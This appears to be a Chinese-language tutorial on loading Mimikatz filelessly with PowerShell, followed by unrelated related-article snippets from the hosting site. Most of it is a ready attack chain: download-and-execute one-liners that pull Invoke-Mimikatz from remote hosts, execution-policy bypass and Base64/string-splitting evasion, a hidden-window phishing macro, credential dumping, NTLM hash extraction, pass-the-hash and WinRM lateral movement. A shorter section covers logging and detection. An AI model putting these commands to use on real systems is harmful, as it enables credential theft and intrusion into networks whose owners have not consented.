PowerShell远程加载Mimikatz完全指南:从原理到实战

PowerShell远程加载Mimikatz完全指南:从原理到实战

无文件攻击技术是现代渗透测试的核心技能,掌握PowerShell远程加载Mimikatz对白帽子黑客至关重要

1 引言

在当今的网络安全领域,无文件攻击(fileless attack)已成为高级持久性威胁(APT)的主要手段之一。PowerShell作为Windows系统的强大管理工具,不仅为系统管理员提供了便捷的管理方式,同时也被安全研究人员和攻击者广泛利用。通过PowerShell远程加载Mimikatz,攻击者可以避免将敏感工具写入磁盘,从而绕过传统基于文件扫描的安全防护措施。

本文将从技术原理、实战方法、规避技巧到防御检测,全面解析PowerShell远程加载Mimikatz的完整技术栈,帮助安全从业人员更好地理解和防御此类攻击。

2 技术原理与优势

2.1 PowerShell远程加载机制

PowerShell提供了多种执行远程代码的方式,其中最常用的是Invoke-Expression(IEX)cmdlet与.NET WebClient类的结合:

# 基本远程加载结构
IEX (New-Object Net.WebClient).DownloadString('http://远程服务器/脚本.ps1')

这条命令完成了三个关键操作:

  1. 使用New-Object Net.WebClient创建Web客户端对象
  2. 调用DownloadString方法从远程URL下载脚本内容
  3. 通过IEX直接执行下载的脚本内容

2.2 无文件攻击的优势

与传统攻击方式相比,PowerShell远程加载具有显著优势:

  • 无文件落地:恶意代码不写入磁盘,避免被传统杀毒软件检测
  • 内存执行:所有操作在内存中完成,取证困难
  • 系统原生工具:利用系统自带工具,减少可疑行为
  • 高度灵活性:可随时更新远程脚本,无需重新部署

3 实战方法与命令示例

3.1 基础远程加载方法

直接从HTTP服务器加载:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.100/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"

使用HTTPS加密传输(更隐蔽):

powershell -c "IEX(New-Object Net.WebClient).DownloadString('https://example.com/scripts/mimikatz.ps1'); Invoke-Mimikatz -Command 'privilege::debug' 'sekurlsa::logonpasswords'"

3.2 绕过执行策略的技巧

Windows默认限制PowerShell脚本执行,需要绕过执行策略:

使用Bypass参数:

powershell -ExecutionPolicy Bypass -File "\\网络路径\Invoke-Mimikatz.ps1"

Unencoded命令方式(适用于简单命令):

powershell -ExecutionPolicy Unrestricted -Command "IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')"

3.3 Base64编码混淆

为了避免命令中的关键字符串被检测,可以使用Base64编码:

# 生成编码命令
$command = "IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)# 执行编码后的命令
powershell -EncodedCommand $encodedCommand

3.4 替代下载方法

当WebClient被监控或阻止时,可以使用替代方法:

使用Invoke-WebRequest(PowerShell 3.0+):

IEX (Invoke-WebRequest -Uri 'http://example.com/Invoke-Mimikatz.ps1' -UseBasicParsing).Content

使用BitsTransfer(适合大文件):

Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://example.com/Invoke-Mimikatz.ps1' -Destination '$env:TEMP\mimikatz.ps1'
IEX (Get-Content '$env:TEMP\mimikatz.ps1' -Raw)

4 高级规避技术

4.1 字符串分割与混淆

避免使用完整的可检测字符串:

# 字符串分割技巧
$url = 'http'+'://example.com/Invoke-Mimikatz.ps1'
$downloader = New-Object Net.WebClient
$script = $downloader.DownloadString($url)
Invoke-Expression $script

4.2 内存补丁与API调用

直接调用Windows API实现更隐蔽的加载:

# 使用Win32 API直接加载DLL到内存
$Source = @"
using System;
using System.Runtime.InteropServices;
namespace Win32 {public class API {[DllImport("kernel32")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);[DllImport("kernel32")]public static extern IntPtr LoadLibrary(string name);[DllImport("kernel32")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);}
}
"@Add-Type -TypeDefinition $Source -Language CSharp
# 后续可以编写更高级的内存加载代码

4.3 降级与兼容性处理

处理不同PowerShell版本兼容性问题:

# 检查PowerShell版本并选择合适的方法
if ($PSVersionTable.PSVersion.Major -ge 3) {IEX (Invoke-WebRequest -Uri 'http://example.com/Invoke-Mimikatz.ps1' -UseBasicParsing).Content
} else {IEX (New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')
}

5 防御与检测策略

5.1 预防措施

强化PowerShell执行策略:

# 设置受限执行策略
Set-ExecutionPolicy Restricted -Force# 仅允许签名脚本执行
Set-ExecutionPolicy AllSigned -Force

禁用PowerShell v2.0(旧版本更易被利用):

# 检查并禁用PowerShell v2.0
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

5.2 监控与检测

启用PowerShell模块日志记录:

# 检查当前日志设置
Get-WinEvent -ListLog "Microsoft-Windows-PowerShell/Operational" -ErrorAction SilentlyContinue# 启用脚本块日志记录(推荐)
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1 -PropertyType DWord -Force

监控敏感命令序列:

-- 示例:SIEM查询检测Mimikatz加载行为
SELECT * FROM SecurityEvent 
WHERE EventID = 4688 AND 
(CommandLine LIKE '%DownloadString%' AND CommandLine LIKE '%mimikatz%') 
OR (CommandLine LIKE '%IEX%' AND CommandLine LIKE '%net.webclient%')

5.3 应用程序控制

实施约束语言模式:

# 启用约束语言模式
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"

使用Windows Defender Application Control(WDAC):

# 创建WDAC策略示例
New-CIPolicy -Level FilePublisher -FilePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -PolicyPath "C:\Policy.xml" -UserPEs

6 实战案例:完整的攻击链

6.1 初始入侵阶段

通过钓鱼邮件获取初始访问:

# 伪装的Word文档宏代码
Sub AutoOpen()Dim payload As Stringpayload = "powershell -w hidden -c ""IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')"""Shell payload, vbHide
End Sub

6.2 权限提升与凭据获取

加载Mimikatz获取凭证:

# 内存加载并执行Mimikatz
IEX (New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1')# 提取本地凭证
$creds = Invoke-Mimikatz -Command "privilege::debug" "sekurlsa::logonpasswords"# 解析结果并提取NTLM哈希
$ntlmHash = ($creds | Select-String "NTLM\s+:\s+([a-f0-9]{32})").Matches.Groups[1].Value

6.3 横向移动

使用获取的哈希进行横向移动:

# 哈希传递攻击(PTH)
Invoke-Mimikatz -Command "sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:$ntlmHash"# 通过WinRM执行远程命令
$session = New-PSSession -ComputerName DC01.corp.local -Credential (New-Object System.Management.Automation.PSCredential("Administrator", (ConvertTo-SecureString "Password123" -AsPlainText -Force)))
Invoke-Command -Session $session -ScriptBlock { IEX(New-Object Net.WebClient).DownloadString('http://example.com/Invoke-Mimikatz.ps1') }

7 结语

PowerShell远程加载Mimikatz技术代表了现代无文件攻击的典型手法,它充分利用了系统原生工具的强大功能,同时规避了传统安全产品的检测。作为安全从业人员,深入理解这些技术不仅有助于进行有效的渗透测试,更能为构建全面的防御体系提供宝贵 insights。

关键要点总结:

  1. PowerShell远程加载提供了无文件攻击能力,难以被传统安全产品检测
  2. 多种绕过技术可以规避执行策略和安全监控
  3. 全面的防御需要多层策略:预防、检测和响应相结合
  4. 持续监控和日志分析是发现此类攻击的关键

最后,我们必须强调:这些技术只应在合法授权的安全测试中使用。未经授权的使用违反法律且违背职业道德。白帽子黑客的职责是帮助组织提高安全性,而不是利用漏洞进行非法活动。


本文仅用于安全研究和教育目的,所有技术细节都应在获得明确授权的前提下使用。未经授权的网络入侵是违法行为,需承担法律责任。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/94579.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/94579.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

基于Spring Boot的民宿服务管理系统-项目分享

基于Spring Boot的民宿服务管理系统-项目分享项目介绍项目摘要系统总体结构图民宿资讯信息实体图项目预览民宿信息管理页面民宿咨询管理页面已支付订单管理页面用户主页面写在最后项目介绍 使用者:管理员、用户 开发技术:MySQLJavaSpringBootVue 项目摘…

SpringBoot基础知识-从XML配置文件到Java Config

项目结构与依赖首先&#xff0c;我们需要添加 Spring 核心依赖&#xff1a;<dependency><groupId>org.springframework</groupId><artifactId>spring-context</artifactId><version>5.2.5.RELEASE</version> </dependency>项目…

用无标签语音自我提升音频大模型:SI-SDA 方法详解

用无标签语音自我提升音频大模型:SI-SDA 方法详解 在语音识别和处理领域,近年来大模型(Large Language Models, LLMs)的发展迅速,为语音任务带来了新的突破。然而,语音信号的复杂性使得这些模型在特定领域中表现不佳。如何在没有标注数据的情况下提升音频大模型的表现?…

开源工具新玩法:cpolar提升Penpot协作流畅度

文章目录前言1. 安装Docker2. Docker镜像源添加方法3. 创建并启动Penpot容器3. 本地使用Penpot进行创作4. 公网远程访问本地Penpot4.1 内网穿透工具安装4.2 创建远程连接公网地址5. 固定Penpot公网地址前言 你是否也曾因商业设计软件的高昂费用而放弃团队协作&#xff1f;或者…

DINOv2 vs DINOv3 vs CLIP:自监督视觉模型的演进与可视化对比

近年来&#xff0c;自监督学习在计算机视觉领域取得了巨大进展&#xff0c;推动了无需人工标注即可学习强大视觉表示的视觉基础模型&#xff08;Vision Foundation Models&#xff09;的发展。其中&#xff0c;DINOv2 和 CLIP 是两个极具影响力的代表性工作&#xff0c;而最新的…

并发编程——05 并发锁机制之深入理解synchronized

1 i/i--引起的线程安全问题 1.1 问题思考&#xff1a;两个线程对初始值为 0 的静态变量一个做自增&#xff0c;一个做自减&#xff0c;各做 5000 次&#xff0c;结果是 0 吗&#xff1f; public class SyncDemo {private static int counter 0;public static void increment()…

数字接龙(dfs)(蓝桥杯)

非常好的联系dfs的一道题目&#xff01; 推荐看这位大佬的详解——>大佬详细题解 #include <iostream> #include <vector> #include <algorithm> #include <cmath> using namespace std;const int N 2e5 10,M20; int a[M][M]; bool val[M][M]; i…

[光学原理与应用-318]:职业 - 光学工程师的技能要求

光学工程师需具备扎实的专业知识、熟练的软件操作能力、丰富的实践经验、良好的沟通协作与项目管理能力&#xff0c;以及持续学习和创新能力&#xff0c;以下是具体技能要求&#xff1a;一、专业知识与理论基础光学基础知识&#xff1a;熟悉光学原理、光学材料、光学仪器等基础…

万字详解架构设计:业务架构、应用架构、数据架构、技术架构、单体、分布式、微服务都是什么?

01 架构要素结构连接在软件行业&#xff0c;对于什么是架构一直有很多的争论&#xff0c;每个人都有自己的理解。不同的书籍上、不同的作者&#xff0c;对于架构的定义也不统一&#xff0c;角度不同&#xff0c;定义不同。此君说的架构和彼君理解的架构未必是一回事。因此我们在…

使用Docker搭建StackEdit在线MarkDown编辑器

1、安装Docker# 安装Docker https://docs.docker.com/get-docker/# 安装Docker Compose https://docs.docker.com/compose/install/# CentOS安装Docker https://mp.weixin.qq.com/s/nHNPbCmdQs3E5x1QBP-ueA2、安装StackEdit2.1、方式1详见&#xff1a; https://benweet.github.…

【C++详解】用哈希表封装实现myunordered_map和 myunordered_set

文章目录一、框架分析二、封装框架&#xff0c;解决KeyOfT三、⽀持iterator的实现四、const迭代器五、实现key不支持修改六、operator[ ]七、一些补充(reserve和rehash)八、源码一、框架分析 SGI-STL30版本源代码中没有unordered_map和unordered_set&#xff0c;SGI-STL30版本是…

【 MYSQL | 基础篇 四大SQL语句 】

摘要&#xff1a;本文先介绍数据库 SQL 的核心概念&#xff0c;接着阐述 SQL 通用语法与 DDL、DML、DQL、DCL 四大分类&#xff0c;随后详细讲解各类语句操作&#xff0c;包括 DDL 的数据库与表操作及数据类型&#xff0c;DML 的数据增删改&#xff0c;DQL 的查询语法与功能&am…

Transformer 模型在自动语音识别(ASR)中的应用

文章目录自动语音识别&#xff08;ASR&#xff09;简介简要介绍TransformerTransformer 在 ASR 中的应用基于“语音识别模型整体框架图”的模块介绍1. 音频采集模块&#xff08;Audio Acquisition Module&#xff09;2. 音频预处理模块&#xff08;Audio Preprocessing Module&…

集成电路学习:什么是SSD单发多框检测器

SSD:单发多框检测器 SSD(Single Shot MultiBox Detector)是一种高效的目标检测算法,它通过单一网络实现对象检测,具有快速且准确的特点。以下是关于SSD的详细解析: 一、SSD的技术特点 1、单一网络检测: SSD通过单一的前向传播过程预测不同尺度的边界框和类别概率…

【车载开发系列】汽车零部件DV与PV试验的差异

【车载开发系列】汽车零部件DV与PV试验的差异 【车载开发系列】汽车零部件DV与PV试验的差异【车载开发系列】汽车零部件DV与PV试验的差异一. 概念说明二. DV测试&#xff08;Design Verification 设计验证测试&#xff09;三. PV测试&#xff08;Performance Verification 性能…

如何在阿里云百炼中使用钉钉MCP

本文通过阿里云百炼钉钉MCP配合&#xff0c;完成钉钉AI表格&#xff08;多维表&#xff09;数据管理 &#xff0c;其他AI开发工具可参照本文完成部署。 准备工作 在正式开始前&#xff0c;需要提前了解什么是钉钉MCP&#xff0c;详情请参考钉钉服务端API MCP 概述。已经注册了…

【lucene】SpanNearQuery中的slop

在`SpanNearQuery`中,`slop`的定义比你描述的稍微复杂一些。以下是一些更准确的解释和分析: 1. `slop`的定义 `SpanNearQuery`的`slop`参数指的是两个`SpanTermQuery`(或更一般的`SpanQuery`子句)之间允许的最大“不匹配位置”的数量。具体来说: - 不匹配位置:指的是第…

sqli-labs通关笔记-第64关 GET数值型SQL盲注(双括号闭合 130次探测机会)

目录 一、代码审计 1、源码分析 2、SQL注入风险分析 &#xff08;1&#xff09;联合SQL注入方法&#xff08;不可行&#xff09; &#xff08;2&#xff09;报错SQL注入方法&#xff08;不可行&#xff09; &#xff08;3&#xff09;总结 二、渗透实战 1、渗透准备 2…

每日一题——力扣498 对角线遍历

力扣498 对角线遍历 问题分析给定一个 m x n 矩阵&#xff0c;我们需要按照对角线顺序遍历所有元素。对角线遍历的特点是&#xff1a; 每条对角线上元素的行索引与列索引之和为常数遍历方向交替变化&#xff1a;奇数对角线&#xff08;从右上到左下&#xff09;&#xff0c;偶数…

【单例模式】

概述一个类不管创建多少次对象&#xff0c;永远只能得到该类型的一个对象的实例。常用到的比如日志模块 &#xff0c;数据库模块饿汉&#xff1a;在类加载时就创建单例对象&#xff0c;因此它是线程安全的&#xff0c;因为对象的创建在程序启动时就已经完成&#xff0c;不存在多…